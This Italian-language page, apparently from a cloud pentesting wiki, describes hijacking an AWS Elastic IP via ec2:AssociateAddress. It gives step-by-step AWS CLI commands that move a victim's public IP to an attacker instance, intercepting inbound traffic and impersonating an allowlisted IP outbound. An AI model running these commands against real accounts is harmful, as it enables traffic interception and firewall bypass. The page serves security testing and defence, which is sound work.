# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

{{#include ../../../../banners/hacktricks-training.md}}

## Sommario

Abusa di `ec2:AssociateAddress` (e opzionalmente di `ec2:DisassociateAddress`) per riassegnare un Elastic IP (EIP) da un'istanza/ENI vittima a un'istanza/ENI dell'attaccante. Questo reindirizza il traffico in ingresso destinato all'EIP verso l'attaccante e permette anche all'attaccante di generare traffico in uscita con l'IP pubblico allowlisted per eludere i firewall dei partner esterni.

## Prerequisiti
- ID di allocazione (allocation ID) dell'EIP target nello stesso account/VPC.
- Istanza/ENI dell'attaccante che controlli.
- Permessi:
- `ec2:DescribeAddresses`
- `ec2:AssociateAddress` sull'EIP allocation-id e sull'istanza/ENI dell'attaccante
- `ec2:DisassociateAddress` (opzionale). Nota: `--allow-reassociation` dissocia automaticamente dall'allegato precedente.

## Attacco

Variabili
```bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
```
1) Assegnare o identificare l'EIP della vittima (il lab ne assegna uno nuovo e lo associa alla vittima)
```bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
```
2) Verificare che l'EIP risolva attualmente al servizio della vittima (ad esempio controllando un banner)
```bash
curl -sS http://$EIP | grep -i victim
```
3) Riassegnare l'EIP all'attaccante (si disassocia automaticamente dalla vittima)
```bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
```
4) Verifica che l'EIP ora risolva verso l'attacker service
```bash
sleep 5; curl -sS http://$EIP | grep -i attacker
```
Evidenza (associazione spostata):
```bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text
```
## Impatto
- Inbound impersonation: Tutto il traffico diretto all'hijacked EIP viene recapitato all'istanza/ENI dell'attacker.
- Outbound impersonation: Attacker può iniziare traffico che sembra provenire dall'allowlisted public IP (utile per bypassare i filtri IP di partner/sorgenti esterne).

{{#include ../../../../banners/hacktricks-training.md}}
